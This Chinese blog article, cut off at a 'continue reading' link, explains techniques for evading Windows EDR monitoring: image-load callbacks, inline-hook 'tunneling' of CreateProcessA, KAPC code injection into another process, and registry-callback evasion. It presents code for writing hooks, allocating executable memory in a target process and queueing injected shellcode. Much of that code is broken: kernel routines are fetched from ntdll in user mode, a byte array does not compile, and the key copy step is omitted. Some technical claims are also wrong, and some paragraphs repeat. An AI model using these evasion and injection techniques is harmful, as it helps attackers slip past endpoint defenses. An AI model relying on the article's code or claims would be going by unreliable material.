在网络安全对抗的赛道上,EDR(端点检测与响应)工具一直是防御方的重要屏障,它通过监控进程创建、线程活动、注册表修改等关键行为,及时发现并阻断恶意攻击,上次我们聊了进程创建和线程通知《Windows EDR 如何通过回调机制拦截程序?3 类规避方案 + 防御对策详解》。但攻击者也在不断探索绕过 EDR 监控的技术手段,从用户层的“隐形装载”到内核级的“权限掌控”,攻防博弈愈发激烈。本文将深入拆解 EDR 难以防范的几类核心规避技术,带你看透攻击者的“隐身术”,同时为防御侧提供技术思考。
一、镜像加载通知:DLL 监控的“常规操作”与破局点
要理解 EDR 如何监控 DLL 加载,首先得搞清楚“镜像加载”的本质。每当程序启动或运行中加载 DLL 文件(小到系统必备的 kernel32.dll,大到攻击者构造的恶意 evil.dll),Windows 内核都会触发一次镜像加载通知。这一机制就像 EDR 安插的“监控探头”,让恶意 DLL 无所遁形,下面就是一个安全软件在内核中设置回调的截图:
一个典型的程序启动流程会清晰展现这一监控逻辑:
- 加载主程序 exe 文件;
- 加载 kernel32.dll → 触发镜像加载通知 → EDR 捕获事件;
- 加载 user32.dll → 触发镜像加载通知 → EDR 捕获事件;
- 若加载恶意 DLL → 触发镜像加载通知 → EDR 直接拦截。
EDR 通过注册镜像加载回调函数实现监控,回调中会重点核查三个核心信息:DLL 的磁盘路径是否可疑、数字签名是否有效、是否存在于已知黑名单中。其注册回调的核心代码逻辑如下:
#include <windows.h>
#include <stdio.h>
// EDR 驱动定义的回调函数原型
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
PUNICODE_STRING FullImageName, // DLL 的完整路径
HANDLE ProcessId, // 加载 DLL 的进程 ID
PIMAGE_INFO ImageInfo // DLL 详细信息
);
// 初始化时向 Windows 注册回调
PsSetLoadImageNotifyRoutine(MyLoadImageNotifyRoutine);
VOID MyLoadImageNotifyRoutine(
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo
)
{
// 检查 DLL 是否在黑名单中
if (ContainsBlacklistedPath(FullImageName)) {// 阻止可疑 DLL 加载}
// 记录加载日志
LogDLLLoad(FullImageName, ProcessId);
}
从 IMAGE_INFO 结构体中,EDR 还能获取 DLL 的加载地址、大小、位数(32/64 位)、是否为系统 DLL 等关键信息,进一步提升检测准确性。这个结构体的详细定义如下,从中能清晰看到 EDR 监控的核心数据维度:
typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8; // 32 位还是 64 位
ULONG SystemModeImage : 1; // 系统 DLL 吗?ULONG ImageMachineType : 16; // 处理器类型
ULONG ImageCharacteristics : 16; // 文件特性
ULONG Spare : 15;
ULONG EtwLoggingOnly : 1; // 事件跟踪
};
};
PVOID ImageBase; // 加载地址
ULONG ImageSelector;
ULONG ImageSize; // 大小
ULONG ImageSectionNumber;
} IMAGE_INFO;
但这种“基于通知的监控”也存在天然漏洞——只要不让通知触发,就能绕过监控,这也是后续隧道工具等 EDR 规避技术 的核心突破点。
二、隧道工具:让 DLL 加载“消失”的内存魔法
攻击者要运行恶意代码,必然需要调用系统 API(如 kernel32.dll 的 CreateProcessA),但每次加载 DLL 都会触发 EDR 通知。如何在不触发通知的情况下获取 API 功能?“隧道工具(Tunneling Tools)”给出了答案:在通知触发前,把需要的代码提前“搬运”到内存中。
隧道工具的核心思路是利用 内联钩子 和代码洞穴,具体分为四步:
- 获取函数地址:通过 GetProcAddress 找到目标 API(如 CreateProcessA)在内存中的位置;
- 保存原始代码:复制 API 函数开头的 5 个字节(这是钩子的“落脚点”);
- 构造内存隧道:在内存中复制目标 API 的完整功能代码,形成一个“代码副本”;
- 挂钩原始函数:将原始 API 开头改为跳转指令,指向内存中的“隧道代码”。
这样一来,当程序调用 API 时,实际执行的是内存中的“隧道代码”,而非从 DLL 文件重新加载——既然没有 DLL 加载行为,EDR 的镜像加载通知自然不会触发。以下是隧道工具的核心实现代码示例,更直观展现 内存中构造 API 代码副本 的过程:
#include <windows.h>
#include <stdio.h>
// 步骤 1:定义目标 API 函数原型
typedef int(*LPFN_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
// 步骤 2:保存原始 CreateProcessA 函数前 5 个字节
BYTE originalBytes[5];
LPFN_CreateProcessA origCreateProcessA = (LPFN_CreateProcessA)GetProcAddress(GetModuleHandleA("kernel32.dll"),
"CreateProcessA"
);
memcpy(originalBytes, (BYTE*)origCreateProcessA, 5);
// 步骤 3:创建内存隧道,复制 CreateProcessA 核心功能代码
BYTE tunnelCode[200];
// 此处省略汇编指令复制过程(需根据 API 实际指令集编写)// 核心是将 API 的系统调用逻辑完整迁移到 tunnelCode 中
// 步骤 4:构造钩子指令,跳转到隧道代码
BYTE hookCode[5] = {0xE9}; // JMP 指令
DWORD jumpAddr = (DWORD)tunnelCode - (DWORD)origCreateProcessA - 5;
memcpy(&hookCode[1], &jumpAddr, 4);
WriteProcessMemory(GetCurrentProcess(), (BYTE*)origCreateProcessA, hookCode, 5, NULL);
传统方式与隧道工具的差异一目了然,这也是 Windows DLL 加载监控绕过 的经典思路:
传统方式:程序→调用 CreateProcessA→触发镜像加载通知→EDR 检测到 kernel32.dll 加载(被拦截);
隧道工具方式:程序→调用挂钩后的 CreateProcessA→跳转到内存隧道代码→直接执行系统调用(无通知,绕过 EDR)。
传统方式:程序→调用 CreateProcessA→触发镜像加载通知→EDR 检测到 kernel32.dll 加载(被拦截);
隧道工具方式:程序→调用挂钩后的 CreateProcessA→跳转到内存隧道代码→直接执行系统调用(无通知,绕过 EDR)。
三、KAPC 注入:内核级的“隐形之手”
如果说隧道工具是用户层的“小技巧”,那 KAPC 注入就是内核级的“大杀器”。KAPC(Kernel Asynchronous Procedure Call,内核异步过程调用)是 Windows 内核的原生机制,允许在目标线程“安全的时刻”执行指定代码——而这个“安全时刻”发生在内核模式,恰好避开了多数用户空间 EDR 的监控。
普通的线程注入(如 CreateRemoteThread)会直接触发 EDR 的线程创建通知,但 KAPC 注入的流程完全不同:
普通 API 调用:用户代码→CreateRemoteThread()→触发线程通知→EDR 拦截;
KAPC 调用 :用户代码→QueueUserAPC() 创建 KAPC→等待目标线程进入“可警告状态”→切换到内核模式→执行注入代码(EDR 无感知)。
这里的关键是“可警告状态”——当线程处于 WaitForSingleObject 等待、Sleep 休眠、SleepEx 可警告休眠等状态时,就会成为 KAPC 注入的“目标”。以下是KAPC 注入实战代码框架,展现从结构体定义到队列注入的完整流程:
#include <windows.h>
#include <winternl.h>
// 定义 KAPC 相关结构体与函数指针
typedef struct _KAPC {
UCHAR Type;
UCHAR Spare0;
USHORT Size;
LIST_ENTRY ApcListEntry;
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC;
typedef VOID (*PKKERNEL_ROUTINE)(PKAPC, PKNORMAL_ROUTINE*, PVOID*, PVOID*, PVOID*);
typedef VOID (*PKNORMAL_ROUTINE)(PVOID, PVOID, PVOID);
typedef VOID (*PKRUNDOWN_ROUTINE)(PKAPC);
// 从 ntdll.dll 获取未导出内核函数
typedef NTSTATUS (*PfnKeInitializeApc)(
PKAPC Apc,
PKTHREAD Thread,
KAPC_ENVIRONMENT ApcMode,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
typedef BOOLEAN (*PfnKeInsertQueueApc)(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
PfnKeInitializeApc KeInitializeApc = (PfnKeInitializeApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInitializeApc"
);
PfnKeInsertQueueApc KeInsertQueueApc = (PfnKeInsertQueueApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInsertQueueApc"
);
// 待注入的恶意代码(示例为简单指令)BYTE injectionCode[] = {
0x55, // push rbp
0x48,0x89,E5, // mov rbp, rsp
0x90, // nop(占位,实际为恶意逻辑)0x5D, // pop rbp
0xC3 // ret
};
int main() {
// 1. 打开目标进程与线程
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // 目标 PID
HANDLE hTargetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 5678); // 目标 TID
// 2. 在目标进程分配可执行内存
PVOID remoteMem = VirtualAllocEx(hTargetProcess, NULL, sizeof(injectionCode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hTargetProcess, remoteMem, injectionCode, sizeof(injectionCode), NULL);
// 3. 初始化 KAPC 结构体
KAPC kapc = {0};
KeInitializeApc(
&kapc, hTargetThread, OriginalApcMode,
NULL, NULL, (PKNORMAL_ROUTINE)remoteMem,
UserMode, NULL
);
// 4. 将 KAPC 加入线程队列
KeInsertQueueApc(&kapc, NULL, NULL, 0);
return 0;
}
KAPC 注入难防的核心原因有三点:一是代码在内核模式执行,用户层钩子无法捕获;二是不创建新线程,绕过线程通知;三是从进程监控视角看,目标线程仅处于“等待状态”,无明显异常,这也是 内核级 EDR 绕过技术 的典型优势。
KAPC 注入难防的核心原因有三点:一是代码在内核模式执行,用户层钩子无法捕获;二是不创建新线程,绕过线程通知;三是从进程监控视角看,目标线程仅处于“等待状态”,无明显异常。
[四、注册表监控规避:从 API 绕过到时序攻击
Windows 注册表存储着系统启动项、DLL 搜索路径、安全配置等关键信息,攻击者修改注册表(如添加持久化项)时,EDR 的注册表监控会立即警觉。EDR 通过 CmRegisterCallback 注册回调函数,监控 RegNtPreSetValueKey(写入前)、RegNtPreDeleteKey(删除前)等操作,实现“事前拦截”。
针对这种监控,攻击者常用三种规避技巧,尤其在 EDR 注册表监控绕过 场景中应用广泛:
- 底层 API 绕过:放弃 RegSetValueEx 等用户层 API,直接调用 ntdll.dll 中的 ZwSetValueKey——这是更底层的系统调用,部分 EDR 可能未对其监控。代码示例如下:
继续阅读全文:深度解析EDR规避核心技术:从镜像加载到驱动回调劫持